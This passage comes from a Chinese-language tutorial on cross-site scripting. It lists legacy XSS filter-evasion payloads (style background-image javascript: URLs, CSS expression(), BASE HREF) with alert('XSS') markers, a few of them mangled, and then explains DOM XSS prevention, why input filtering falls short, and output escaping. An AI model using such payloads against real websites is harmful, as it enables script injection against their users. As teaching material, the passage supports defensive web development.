DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279),示例如下:
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
DIV expression,示例如下:
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
STYLE属性分拆表达,示例如下:
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
匿名STYLE(组成:开角号和一个字母开头),示例如下:
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
STYLE background-image,示例如下:
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
IMG STYLE方式,示例如下:
exppression(alert(“XSS”))’>
STYLE background,示例如下:
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
BASE,示例如下:
<BASE HREF=”javascript:alert(‘XSS’);//”> 四、XSS 攻击的预防网上防范XSS攻击的方法一搜就一大堆,但是无论方法有多少,始终是万变不离其宗。
XSS 攻击有两大要素: 1. 攻击者提交恶意代码。 2. 浏览器执行恶意代码。
1.预防 DOM 型 XSS 攻击DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等。
DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等, 标签的href属性,JavaScript 的eval()、setTimeout()、setInterval()等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易 产生安全隐患,请务必避免。
2.输入过滤如果由前端过滤输入,然后提交到后端的话。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢? 我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 $lt; 7。 问题是:在提交阶段,我们并不确定内容要输出到哪里。
这里的“并不确定内容要输出到哪里”有两层含义:
用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 $lt;7 )。
在前端中,不同的位置所需的编码也不同。 当 5 $lt;7 作为 HTML 拼接页面时,可以正常显示:5 < 7
所以输入过滤非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS,可采用下面的两种方法
3.前端渲染把代码和数据分隔开在前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式 (.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。
Javascript:可以使用textContent或者innerText的地方,尽量不使用innerHTML;
query:可以使用text()得地方,尽量不使用html();
4.拼接HTML时对其进行转义如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。